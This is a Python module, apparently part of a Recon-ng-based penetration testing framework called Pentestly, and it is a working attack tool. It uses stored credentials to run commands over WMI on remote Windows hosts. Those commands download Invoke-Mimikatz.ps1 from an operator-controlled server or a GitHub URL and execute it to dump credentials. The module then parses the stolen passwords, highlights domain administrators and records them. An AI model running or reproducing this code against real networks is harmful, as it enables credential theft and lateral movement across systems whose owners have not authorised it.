from __future__ import print_function
from recon.core.module import BaseModule

import os
import subprocess

from libs.pentestlymodule import PentestlyModule
from libs.misc import parse_mimikatz, Colors

class Module(PentestlyModule):

    meta = {
        'name': 'Execute Mimikatz',
        'author': 'Cory Duplantis (@ctfhacker)',
        'description': 'Remotely downloads Invoke-Mimikatz.ps1 via WMI',
        'query': 'SELECT username,password,domain,host FROM pentestly_creds WHERE success="True" AND execute!="False"',
        'options': (
            ('Internet', 'False', False, 'Retrieve the mimikatz powershell script from github'),
            ('LHOST', '', False, 'IP to pickup Mimikatz scripts'),
        ),
    }

    def __init__(self, *args, **kwargs):
        result = BaseModule.__init__(self, *args, **kwargs)
        self.hosting_server = ''
        return result

    def module_pre(self):
        if self.options['lhost']:
            self.hosting_server = self.options['lhost']

        self.start_webserver()
        # self.test_execute()

    def print_badge(self):
        with open('data/badge.ascii', 'r') as f:
            badge = f.read()

        print(badge)

    def module_run(self, creds):
        share = 'C$'
        internet = self.options['internet']

        url = 'http://{}/about.html'.format(self.hosting_server)
        if internet == True or str(internet).lower() == "true":
            url = 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'

        args = 'Invoke-Mimikatz -DumpCreds'
        command = self.powershell_download(script_url=url, args=args, post_url=self.hosting_server)
        domain_admins = self.query("select username from pentestly_creds where access like '%admin%'")
        domain_admins = [da[0] for da in domain_admins]

        cache = []
        try:
            with open('.done-hosts', 'r') as f:
                cache = f.read().split('\n')
        except IOError:
            pass

        # Reduce creds if options are given
        for username, password, domain, host in reversed(creds):

            # Ensure our webserver is alive
            # self.start_webserver()
            if host in cache:
                continue
            with open('.done-hosts', 'a') as f:
                f.write(host + '\n')
            cache.append(host)

            try:
                result = self.wmi_execute(username, password, domain, host, command, get_results=False, powershell_get_results=True)
                mimikatz_results = parse_mimikatz(result)
                done_creds = set()
                for cred in parse_mimikatz(result):
                    if (cred[1], cred[2]) in done_creds:
                        continue
                    done_creds.add((cred[1], cred[2]))
                    msg = ''
                    access = ''
                    if '$' in cred[1]:
                        continue
                    if cred[1] in domain_admins:
                        self.print_badge()
                        msg = Colors.red + ' - DOMAIN ADMIN!' + Colors.none
                        access = 'domain admin'

                    self.alert("Success! {}:{} {}".format(cred[1], cred[2], msg))
                    self.add_pentestly_creds(access=access, host=host, password=cred[2], username=cred[1], domain=cred[3])
                    if 'domain' in access:
                        final = raw_input('You have one DA, do you want to continue to find more? [yN]\n> ')
                        if final.lower().startswith('y'):
                            self.alert("Found one!!")
                            continue
                        return

                if not mimikatz_results:
                    self.verbose(result)

            except Exception as e:
                print(str(e))
                continue

    # def module_post(self):
        # self.stop_webserver()
